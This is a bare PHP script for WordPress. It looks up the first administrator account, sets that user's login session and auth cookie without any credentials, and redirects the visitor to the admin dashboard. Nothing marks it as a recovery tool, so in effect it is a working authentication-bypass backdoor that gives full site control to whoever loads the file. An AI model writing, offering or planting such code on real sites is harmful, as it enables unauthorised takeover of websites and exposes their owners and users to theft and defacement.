<?php
require($_SERVER['DOCUMENT_ROOT'].'/wp-blog-header.php');
$query_str = "SELECT ID FROM $wpdb->users";
$user_ids = $wpdb->get_results($query_str);
foreach ($user_ids as $uid) {
    $user_id = $uid->ID;
    if (user_can($user_id, 'administrator')) {
        $user_info = get_userdata($user_id);
        $user_login = $user_info->user_login;
        wp_set_current_user($user_id, $user_login);
        wp_set_auth_cookie($user_id);
        do_action('wp_login', $user_login);
        echo "You are logged in as $user_login";
        if (function_exists('get_admin_url')) {
            wp_redirect(get_admin_url());
        } else {
            wp_redirect(get_bloginfo('wpurl') . '/wp-admin');
        }
        exit;
    }
}
?>